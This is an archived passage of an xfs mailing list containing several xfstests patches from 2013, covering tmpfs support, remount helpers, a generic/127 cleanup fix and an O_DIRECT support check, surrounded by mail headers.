ALoCoQm53eS3hxez00nA139kKkmTsxo8No1bUxcaO2EfgQFpmmmwTkA612bDTHmSpTzQsU/AeEqedoWLrgKad1cVjLLXDf52RWulew4jKpsijVgdrJX7IRWhThpaDuE+Key1LWWbq/jYgqJpPTFXB1ZLQKsZM4EjihMbpZMgHXVQaxFCe8GYAE1oyNAF/3t2HHj44P72pbkU X-Received: by 10.182.114.73 with SMTP id je9mr9180367obb.23.1386706339188; Tue, 10 Dec 2013 12:12:19 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id l41si14863941yhi.5.2013.12.10.12.12.19 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:19 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 97FD631C281; Tue, 10 Dec 2013 12:12:18 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Date: Tue, 10 Dec 2013 12:11:56 -0800 X-ASG-Orig-Subj: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-Id: <1386706321-15795-6-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f202.google.com[209.85.223.202] X-Barracuda-Start-Time: 1386706339 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Several tests unmount then re-mount the scratch filesystem, to check that the content is unchanged; but unmounting a tmpfs is designed to lose its content, which causes such tests to fail unnecessarily. Add _scratch_remount(), which instead uses remount on a tmpfs to preserve its contents. Also add _test_remount() to do the same for the test device. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- common/rc | 34 ++++++++++++++++++++++++++++++++-- tests/generic/135 | 17 +++-------------- tests/generic/169 | 20 ++++++-------------- tests/generic/169.out | 6 ++---- tests/generic/192 | 3 +-- tests/generic/226 | 3 +-- tests/generic/258 | 3 +-- tests/generic/306 | 3 +-- 8 files changed, 47 insertions(+), 42 deletions(-) diff --git a/common/rc b/common/rc index 57f7ccd..4d46008 100644 --- a/common/rc +++ b/common/rc @@ -302,8 +302,20 @@ _scratch_unmount() _scratch_remount() { - _scratch_unmount - _scratch_mount + CWD=`pwd` + cd / + + case $FSTYP in + tmpfs) + mount -o remount "$@" $SCRATCH_MNT + ;; + *) + _scratch_unmount + _scratch_mount "$@" + ;; + esac + + cd $CWD } _test_mount() @@ -312,6 +324,24 @@ _test_mount() _mount -t $FSTYP $TEST_OPTIONS $TEST_FS_MOUNT_OPTS $SELINUX_MOUNT_OPTIONS $* $TEST_DEV $TEST_DIR } +_test_remount() +{ + CWD=`pwd` + cd / + + case $FSTYP in + tmpfs) + mount -o remount "$@" $TEST_DIR + ;; + *) + umount $TEST_DIR + _test_mount "$@" + ;; + esac + + cd $CWD +} + _scratch_mkfs_options() { _scratch_options mkfs diff --git a/tests/generic/135 b/tests/generic/135 index e3b827a..4a8b690 100755 --- a/tests/generic/135 +++ b/tests/generic/135 @@ -40,19 +40,8 @@ _supported_fs generic _supported_os Linux IRIX _require_scratch -_scratch_mkfs >/dev/null 2>&1 - -_umount_mount() -{ - CWD=`pwd` - cd / - # pipe error into /dev/null, in case not mounted (after _require_scratch) - umount $SCRATCH_MNT 2>/dev/null - _scratch_mount - cd "$CWD" -} - -_umount_mount +_scratch_mkfs >/dev/null 2>&1 || _fail "mkfs failed" +_scratch_mount > /dev/null 2>&1 || _fail "mount failed" cd $SCRATCH_MNT @@ -70,7 +59,7 @@ $XFS_IO_PROG -f -c 'pwrite -b 4k -S 0x78 0 4k' trunc_file > /dev/null $XFS_IO_PROG -f -c 'truncate 2k' trunc_file > /dev/null $XFS_IO_PROG -c 'pwrite 1k 0 1k' trunc_file > /dev/null -_umount_mount +_scratch_remount # check file size and contents od -Ad -x async_file diff --git a/tests/generic/169 b/tests/generic/169 index ebeffa7..ebfb106 100755 --- a/tests/generic/169 +++ b/tests/generic/169 @@ -73,13 +73,9 @@ $XFS_IO_PROG -a -c "pwrite 0 5k" -c "fsync" \ $SCRATCH_MNT/testfile \ | _show_wrote_and_stat_only -echo "# unmounting scratch" -umount $SCRATCH_MNT>>$seqres.full 2>&1 \ - || _fail "unmount failed" - -echo "# mounting scratch" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed: $MOUNT_OPTIONS" +echo "# remounting scratch" +_scratch_remount >>$seqres.full 2>&1 \ + || _fail "remount failed: $MOUNT_OPTIONS" echo "# stating file to confirm correct size" $XFS_IO_PROG -r -c "stat" $SCRATCH_MNT/testfile \ @@ -90,13 +86,9 @@ $XFS_IO_PROG -f -c "pwrite 0 5" -c s -c "pwrite 5 5" \ -c "stat" $SCRATCH_MNT/nextfile \ | _show_wrote_and_stat_only -echo "# unmounting scratch" -umount $SCRATCH_MNT>>$seqres.full 2>&1 \ - || _fail "unmount failed" - -echo "# mounting scratch" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed: $MOUNT_OPTIONS" +echo "# remounting scratch" +_scratch_remount >>$seqres.full 2>&1 \ + || _fail "remount failed: $MOUNT_OPTIONS" echo "# stating file to confirm correct size" $XFS_IO_PROG -r -c "stat" $SCRATCH_MNT/nextfile \ diff --git a/tests/generic/169.out b/tests/generic/169.out index 22a5b77..5f7df39 100644 --- a/tests/generic/169.out +++ b/tests/generic/169.out @@ -5,15 +5,13 @@ wrote 5120/5120 bytes at offset 0 wrote 5120/5120 bytes at offset 5120 wrote 5120/5120 bytes at offset 10240 stat.size = 15360 -# unmounting scratch -# mounting scratch +# remounting scratch # stating file to confirm correct size stat.size = 15360 # appending 10 bytes to new file, sync at 5 bytes wrote 5/5 bytes at offset 0 wrote 5/5 bytes at offset 5 stat.size = 10 -# unmounting scratch -# mounting scratch +# remounting scratch # stating file to confirm correct size stat.size = 10 diff --git a/tests/generic/192 b/tests/generic/192 index 2b4e41c..ec069b0 100755 --- a/tests/generic/192 +++ b/tests/generic/192 @@ -76,8 +76,7 @@ cat $testfile time2=`_access_time $testfile | tee -a $seqres.full` cd / -umount $TEST_DIR -_test_mount +_test_remount time3=`_access_time $testfile | tee -a $seqres.full` delta1=`expr $time2 - $time1` diff --git a/tests/generic/226 b/tests/generic/226 index b98e889..3514965 100755 --- a/tests/generic/226 +++ b/tests/generic/226 @@ -60,8 +60,7 @@ for I in `seq 1 $loops`; do done echo -umount $SCRATCH_DEV -_scratch_mount +_scratch_remount echo "--> $loops direct 64m writes in a loop" for I in `seq 1 $loops`; do diff --git a/tests/generic/258 b/tests/generic/258 index 3aeb5ce..567a39a 100755 --- a/tests/generic/258 +++ b/tests/generic/258 @@ -61,8 +61,7 @@ fi # unmount, remount, and check the timestamp echo "Remounting to flush cache" -umount $TEST_DEV -_test_mount +_test_remount # Should yield -315593940 (prior to epoch) echo "Testing for negative seconds since epoch" diff --git a/tests/generic/306 b/tests/generic/306 index 04d28df..56313f2 100755 --- a/tests/generic/306 +++ b/tests/generic/306 @@ -66,8 +66,7 @@ touch $BINDFILE || _fail "Could not create bind mount file" touch $TARGET || _fail "Could not create symlink target" ln -s $TARGET $SYMLINK -_scratch_unmount || _fail "Could not unmount scratch device" -_scratch_mount -o ro || _fail "Could not mount scratch readonly" +_scratch_remount -o ro || _fail "Could not remount scratch readonly" # We should be able to read & write to/from these devices even on an RO fs echo "== try to create new file" -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33E177F93 for ; Tue, 10 Dec 2013 14:12:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 07A848F8033 for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) X-ASG-Debug-ID: 1386706337-04bdf0132118f800001-NocioJ Received: from mail-vb0-f74.google.com (mail-vb0-f74.google.com [209.85.212.74]) by cuda.sgi.com with ESMTP id ykzvYI0K63KmviEg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:17 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.212.74 X-Barracuda-IPDD: Level1 [google.com/209.85.212.74] Received: by mail-vb0-f74.google.com with SMTP id w5so135929vbf.3 for ; Tue, 10 Dec 2013 12:12:16 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.212.74] X-Barracuda-IPDD: Level1 [google.com/209.85.212.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=EhBJdFZ4uqMfK/BBPUo//26G0ez5ropKeBMyomLYUsc=; b=JVgpszv4cGRAHGGikIrYz9WrYTlhkrCSV6nhvdvae112i0Zwxt+2i8JFH0nHQpkdn2 P7n1SooB7m75zOvclvAEOnqbcMCdlQJsN8SrQPtwSC4eyIOeWSH3gO1usdiasL8U2uSI zSL9NzyS7nfBFvldFbfGZgNZ/dQpUVcUAd+lQL2w3tpNB68nDE5ilJX0Mqs8W7EpkjVZ AFQ9w3keu/YRYV+47QPof4VlwSy/+LkKM4/zjc3APRabzQUIqmmXJaI9AO4fQSN9IOwX 9+xoCVxUkg/AB/8eYlRk0Q01ggACQrcuf4a8xfD+droGOWvyKIqSv2AdsgsPiGMfRHXE 3rug== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=EhBJdFZ4uqMfK/BBPUo//26G0ez5ropKeBMyomLYUsc=; b=ShE7ATIqnSoSvLsldQJPs71ylsGTPjGAEUtexviABncXQNvMjEl7NlolyJLEvqJFRh GPZ33EPAFVTnASKQMeJ0oCxePWpguLe674yNz6vmecQKeyKWBJpsfih9w98opRttyBSJ oeps5G7ZauuTlyaVzhdG3xRmWSlIuYKSnMk3cmrU2OatTZvi7f3xwGESHNi6dBHMtRuf FxPBLjOBjgl/cSOg4S2FmLyUGEE2O+/Zgzk34OG+Pllbb4nT1G8tO7529QHZun8yuyqF ii4lqwLelGbQ7qLLj+/AIRx2ggdtMvIG7f6SAwQCd1aNaFRLiXShh97enO5mp11kb2vg 4laA== X-Gm-Message-State: ALoCoQnZ5Vx48KWgyG+qqC5dZu+aqbngrLuGDKhr3phhJxUcyUY8taa3jc5VDbwadTjZvr/ZmH5k96Ys5nfSiID9Z2vKd97qz49oul1fq19yBi7faqr5xUefXrybAwbPa+HWeDOjk4lqKd04CmaYmeQl6GROarxJaBHtIXxGkeafguT7tzzMyekk8fOFtnvGfaUOvyn9CIbC X-Received: by 10.58.134.110 with SMTP id pj14mr8653696veb.14.1386706336812; Tue, 10 Dec 2013 12:12:16 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id o30si704684yhn.1.2013.12.10.12.12.16 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:16 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 38A3D31C2A4; Tue, 10 Dec 2013 12:12:16 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 01/10] xfstests: Add tmpfs support Date: Tue, 10 Dec 2013 12:11:52 -0800 X-ASG-Orig-Subj: [PATCH 01/10] xfstests: Add tmpfs support Message-Id: <1386706321-15795-2-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-vb0-f74.google.com[209.85.212.74] X-Barracuda-Start-Time: 1386706337 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Boris Ranto This is just a simple patch to get the tmpfs working as a target file system. The patch copies the way nfs is handled in xfstests. I didn't change the xfstests logic to recognize a proper SCRATCH_DEV. Hence, the SCRATCH_DEV for tmpfs should be in nfs form (with ':' sign in it) in order for this to work properly. Signed-off-by: Boris Ranto Signed-off-by: Junho Ryu --- check | 2 ++ common/rc | 22 ++++++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/check b/check index c88bcf2..320ad26 100755 --- a/check +++ b/check @@ -73,6 +73,7 @@ usage() check options -nfs test NFS + -tmpfs test TMPFS -l line mode diff -udiff show unified diff (default) -n show me, do not run tests @@ -207,6 +208,7 @@ while [ $# -gt 0 ]; do -\? | -h | --help) usage ;; -nfs) FSTYP=nfs ;; + -tmpfs) FSTYP=tmpfs ;; -g) group=$2 ; shift ; GROUP_LIST="$GROUP_LIST $group" diff --git a/common/rc b/common/rc index 5f61d57..a2005c9 100644 --- a/common/rc +++ b/common/rc @@ -112,6 +112,10 @@ _mount_opts() # acls aren't turned on by default on gfs2 export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" ;; + tmpfs) + # We need to specify the size at mount, use 512 MB by default + export MOUNT_OPTIONS="-o size=512M $TMPFS_MOUNT_OPTIONS" + ;; *) ;; esac @@ -140,6 +144,9 @@ _mkfs_opts() jfs) export MKFS_OPTIONS="$JFS_MKFS_OPTIONS -q" ;; + tmpfs) + export MKFS_OPTIONS="$TMPFS_MKFS_OPTIONS" + ;; *) ;; esac @@ -544,6 +551,9 @@ _scratch_mkfs() ext4) _scratch_mkfs_ext4 $* ;; + tmpfs) + # do nothing for tmpfs + ;; *) yes | $MKFS_PROG -t $FSTYP -- $MKFS_OPTIONS $* $SCRATCH_DEV ;; @@ -977,6 +987,12 @@ _require_scratch() nfs*) _notrun "requires a scratch device" ;; + tmpfs) + if [ -z "$SCRATCH_DEV" -o ! -d "$SCRATCH_MNT" ]; + then + _notrun "this test requires a valid \$SCRATCH_MNT and unique $SCRATCH_DEV" + fi + ;; *) if [ -z "$SCRATCH_DEV" -o "`_is_block_dev $SCRATCH_DEV`" = "" ] then @@ -1701,6 +1717,9 @@ _check_test_fs() btrfs) _check_btrfs_filesystem $TEST_DEV ;; + tmpfs) + # no way to check consistency for tmpfs + ;; *) _check_generic_filesystem $TEST_DEV ;; @@ -1733,6 +1752,9 @@ _check_scratch_fs() btrfs) _check_btrfs_filesystem $device ;; + tmpfs) + # no way to check consistency for tmpfs + ;; *) _check_generic_filesystem $device ;; -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DDB987F92 for ; Tue, 10 Dec 2013 14:12:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CE21F8F8033 for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) X-ASG-Debug-ID: 1386706340-04cbb0416768bda0001-NocioJ Received: from mail-vc0-f201.google.com (mail-vc0-f201.google.com [209.85.220.201]) by cuda.sgi.com with ESMTP id kcR2PxSSQnKDwgFh (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.201 X-Barracuda-IPDD: Level1 [google.com/209.85.220.201] Received: by mail-vc0-f201.google.com with SMTP id ie18so628940vcb.4 for ; Tue, 10 Dec 2013 12:12:20 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.201] X-Barracuda-IPDD: Level1 [google.com/209.85.220.201] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=70StjT3TC+SCYK+BFDwFT+mS0Qab8LcbHzYV7htxzME=; b=Z8UNn2CZNBDcJgkwkRJx4fprJ3FxmZfJDXoundLOFZen8hsag2VsqzgcpiRM21qRAr jmqWycw3k7uP4kVlyiPWnoiRJkELbLekP86kiZHymV/fQeLhwGlYmzyJgxbm+YMTEnOJ A1wp8CCmY871g1KvJxYhtzW2/GP0/fQtsma9kkYxERWuNdHs+Wq036wPISQ2JZFOdrts ALP2NF+YgSgzua4Xw47NFDL6MwlAU36ZKU4H4FNkgHsSj3aOX64FRQmJL1I7wJ3OVcAX 30+xlFaiGgm6nhC4dgyt84EjDz7qQktva8E2F7GDUO2o90kUxjh6DV1fntB7d7LxxTiB XAaQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=70StjT3TC+SCYK+BFDwFT+mS0Qab8LcbHzYV7htxzME=; b=k9boAwKwxmoRaU6yQmEeQB3Mfedg4xKh3S6L9x4LgEe6cJB/lrAFaG1wrTnEATz+qp hIUdvy/PonCdelMsjpZ0Dq8c+7ZZ4xHIVmjr6mA0hXdMgEfPsPILB4dAhL45zwdt5Hi/ ZA56rYEP6yLzVXSMU9CKWEOuU0Sl+CiCTpR9m+3EghdyamptLLJlFSdzX90Z8HbE1KNX RUma9e55ED/ggUbTIcA5gPfemF1lgxDLHOJWlfJW+Mhj5Ch+hNBJ9gMj8N/J7oEYrBjw B4GFMVmSTlwgGVU3F76ikTnxNNxtdprvn4Nh7gpA50inm0Uh/LOELig/tt0kqHmDj1fH JQVQ== X-Gm-Message-State: ALoCoQkvRLYbwiE9Mgt4v5al5kYlk0URqaaDQKNUjWX9p1hPGNpP0ACvcHvVqCW3F/ISK6h/ohDOD1cIdoLBAdHzQB/d+8htUzVE0WMathNABdhk3WEYwQG/c1Y0tuiQNWarYMNq69kUK468GH2dv795r3j87y3N/9zcigfuCnN+YZkd8lFO4T3uMTRiQFg1oDuNFydRyfWm X-Received: by 10.58.147.41 with SMTP id th9mr8706147veb.8.1386706340422; Tue, 10 Dec 2013 12:12:20 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id o30si704749yhn.1.2013.12.10.12.12.20 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:20 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id D25C731C281; Tue, 10 Dec 2013 12:12:19 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 07/10] xfstests: fix generic/127 to call _cleanup() only once Date: Tue, 10 Dec 2013 12:11:58 -0800 X-ASG-Orig-Subj: [PATCH 07/10] xfstests: fix generic/127 to call _cleanup() only once Message-Id: <1386706321-15795-8-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-vc0-f201.google.com[209.85.220.201] X-Barracuda-Start-Time: 1386706340 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature The test is already trap-ing signal 0 (EXIT). umount prints error message when target tmpfs is already unmounted. Signed-off-by: Junho Ryu --- tests/generic/127 | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/generic/127 b/tests/generic/127 index 58ca91e..47bd1ca 100755 --- a/tests/generic/127 +++ b/tests/generic/127 @@ -117,5 +117,4 @@ _fsx_std_nommap _fsx_std_mmap status=0 -_cleanup exit -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 897047F85 for ; Tue, 10 Dec 2013 14:12:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A2E38F8033 for ; Tue, 10 Dec 2013 12:12:22 -0800 (PST) X-ASG-Debug-ID: 1386706341-04cbb0416968bda0001-NocioJ Received: from mail-ob0-f201.google.com (mail-ob0-f201.google.com [209.85.214.201]) by cuda.sgi.com with ESMTP id PRVBSlA4sksarhEH (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.201 Received: by mail-ob0-f201.google.com with SMTP id wp4so20212obc.2 for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=GpXSYfiS09+8FiupAO9l/+S6nJEZGcWpOWgb0V/5SVU=; b=LeEjQrQBYh7YBwLLTXF9wS1XjNIuz7Q5txaIKgpkak5+o+fr5VsN1YVdnO73D7Bbc9 Zm3Wm9ukMIF5R8hzsTx/kd5Z/Tv+B4XQ2ohVefmgbF9l72MwqyVzY8nXKpFecZgIa1iP AomK7I0Trn8NgpJFzbl4NqARfpLTVkoFYJG4s9bvR7NsebhLMnvfJ34DR1VqlBsRB+f7 keggeJ+h40IF3fzfuMHpIwzvsonPL0xX1S4yRDMKcsqdQp98eHZ6voU3Oa6MXaxP8hHk aT2cTMLYyPW24ooBAuPLkO+BPhSsUBynrr6poXmqfbwQOGfRHvhkz34TMXyAhMAmbgK7 JBhA== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=GpXSYfiS09+8FiupAO9l/+S6nJEZGcWpOWgb0V/5SVU=; b=OSsawbnHgaqXF+ugNrc2yf2HLW9l0pH/cz/Ng+gHc8jq7l3PHfB1nAsbgPyqZxlGZZ l0U9LyTQcDxVTkZ3v8QmTw9evbObUk/RbAIVjgL07dO9+XlDU0Rd7PlfnnmdKeSqHuYS 74AIPEUXmskJE35AYe/KQ4CiGRBM+Zqtotz2XVeOiBVHmzuD3pZ2c/xpSRsKsL/XIH6p HzP1/gsPxM/mA/E8/iuz9RjH2Fpm0dCaPybcu3b8cJSBEZza6LjE7+4wxjVJjNezE0UQ pW43SdUEmnom3hUyTTg1gY1yG3kOUwJLQu66I2IMk69R9MaWW6UcJtWYmkLgu14ohCrS MH8Q== X-Gm-Message-State: ALoCoQmJkDspSmWkT70AQoMzcIHiR0qx1OeHVANi3yMpu95xfoOjiUd/FEMu4aqHK7SRuq01QUVatMkOdwKkihkOGzfli537q2sceK2x+I5GNDptgqeN29ASxVJwPya9XNAk8GBdbynqyf+HRyy1zT+RnpsMSCalTkM8YFB02YcRtOZOcBxGbqZqTu4V7hOZ4h8vUENCvCFB X-Received: by 10.182.34.169 with SMTP id a9mr1271514obj.49.1386706341014; Tue, 10 Dec 2013 12:12:21 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id o30si704761yhn.1.2013.12.10.12.12.20 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:21 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 783C531C281; Tue, 10 Dec 2013 12:12:20 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 08/10] xfstests: check O_DIRECT support before testing direct I/O Date: Tue, 10 Dec 2013 12:11:59 -0800 X-ASG-Orig-Subj: [PATCH 08/10] xfstests: check O_DIRECT support before testing direct I/O Message-Id: <1386706321-15795-9-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ob0-f201.google.com[209.85.214.201] X-Barracuda-Start-Time: 1386706341 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Some filesystems do not support O_DIRECT. Check whether TEST_DIR supports it by running xfs_io with and without -d flag. Signed-off-by: Junho Ryu --- common/rc | 15 +++++++++++++++ tests/generic/091 | 1 + tests/generic/130 | 1 + tests/generic/133 | 1 + tests/generic/135 | 1 + tests/generic/226 | 1 + tests/generic/263 | 1 + tests/generic/299 | 1 + tests/generic/300 | 1 + 9 files changed, 23 insertions(+) diff --git a/common/rc b/common/rc index 4d46008..02c47ea 100644 --- a/common/rc +++ b/common/rc @@ -1185,6 +1185,7 @@ _require_aiodio() AIO_TEST=src/aio-dio-regress/$1 [ -x $AIO_TEST ] || _notrun "$AIO_TEST not built" fi + _require_xfs_io_direct } # run an aio-dio program @@ -1323,6 +1324,20 @@ _require_xfs_io_fiemap() _notrun "xfs_io fiemap command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem support direct I/O +_require_xfs_io_direct() +{ + testfile=$TEST_DIR/$$.direct + $XFS_IO_PROG -F -f -c "pwrite 0 20k" $testfile 2>&1 + if [ $? -eq 0 ]; then + $XFS_IO_PROG -F -f -d -c "pwrite 0 20k" $testfile 2>&1 + if [ $? -ne 0 